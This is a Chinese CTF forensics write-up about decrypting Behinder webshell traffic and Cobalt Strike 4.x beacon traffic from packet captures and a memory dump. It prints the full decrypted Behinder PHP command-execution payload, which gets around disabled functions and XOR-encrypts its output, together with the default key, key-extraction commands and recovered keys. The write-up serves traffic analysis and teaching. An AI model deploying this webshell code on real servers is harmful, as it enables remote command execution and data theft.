考点:冰蝎webshell流量分析+CS4.x流量解密 给了两个 流量包 第一个 ctf1.pcapng 查看其HTTP请求 image.png

而在CS中流量特征是基于tls协议 http-beacon 通信中,默认使用 GET 方法向 /dpixel/__utm.gif/pixel.gif 等地址发起请求,而且下发指令的时候会请求 /submit.php?id=一串数字

可以判断第一个流量包是CS流量 现在我们要想办法获取 AES key 和 HMAC key

第二个流量包是 image.png 和webshell建立了长连接通信 可以导出http对象拿到 Secret.zip image.png 发现存在 密码 image.png 可以提取内存文件 ==考虑CS的利用动态信标的进程转储直接获得 AES key、HMAC key 以及 RAW==

分析http.request.method=="POST" image.png 可以发现冰蝎特征

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

直接尝试默认密码 rebeyond 对流量解密 AES加密的密钥为连接密码MD5的前16位,默认连接密码是rebeyond(即md5('rebeyond')[0:16]=e45e329feb5d925b) 当然这道题密钥就是 e45e329feb5d925b 但是还可以xor操作码已知明文 反推密钥 一个事实是 :冰蝎 shell 当中的恶意 php 脚本,==头都是一样的==,以 @error_reporting 开头 拿到 45e329feb5d925b image.png image.png 可以成功解密流量内容 在 流13 中 tcp.stream eq 13

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}


function Encrypt($data)
{
    $key="e45e329feb5d925b"; 
	for($i=0;$i<strlen($data);$i++) {
    	$data[$i] = $data[$i]^$key[$i+1&15]; 
    }
    $bs="base64_"."encode";
	$after=$bs($data."");
    return $after;
}
$cmd="Y2QgL3Zhci93d3cvaHRtbC9kdndhL2hhY2thYmxlL3VwbG9hZHMvIDt6aXAgLVAgSCZOY3RmMTQ3ODkgU2VjcmV0LnppcCBkbXAuZG1w";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC9kdndhL2hhY2thYmxlL3VwbG9hZHMv";$path=base64_decode($path);
main($cmd,$path);

同理 还有一个请求 image.png 两个数据base64解码后 image.png

image.png 看响应包 image.png image.png 可以判断第二个才是正确的密码 HNctf14789 现在拿到了 dmp.dmp了 对CS流量进行分析 利用脚本 https://github.com/minhangxiaohui/CSthing
https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py 4.x 版本 cs 的动态信标的进程转储文件是提取不出通信所需要的 key 要考虑==碰撞解密== 转储dmp 先提取密文 python cs-parse-http-traffic.py -k unknown ctf1.pcapng

image.png 拿48长度的密文碰撞(随意取) d3f7b232a13874ae45fcf0d82def3d8a9bec06c17b9828f2b162ffae4a958b6ba0d39189dbc9dc5bb97c946a6775ee13 开始碰撞key

python cs-extract-key.py -t d3f7b232a13874ae45fcf0d82def3d8a9bec06c17b9828f2b162ffae4a958b6ba0d39189dbc9dc5bb97c946a6775ee13 dmp.dmp

image.png 可以拿到 key:3e2c8bd57d043ae78caa33c1f76fb3de:0406b3801de60f1fd4d7391d618eec81 对流量包进行解密

python cs-parse-http-traffic.py -k 3e2c8bd57d043ae78caa33c1f76fb3de:0406b3801de60f1fd4d7391d618eec81 ctf1.pcapng

image.png 有报错 直接问下GPT image.png 485行改下脚本 image.png 拿到flag H&NCTF{29d5c78b-4367-49ff-807f-dd204341f225}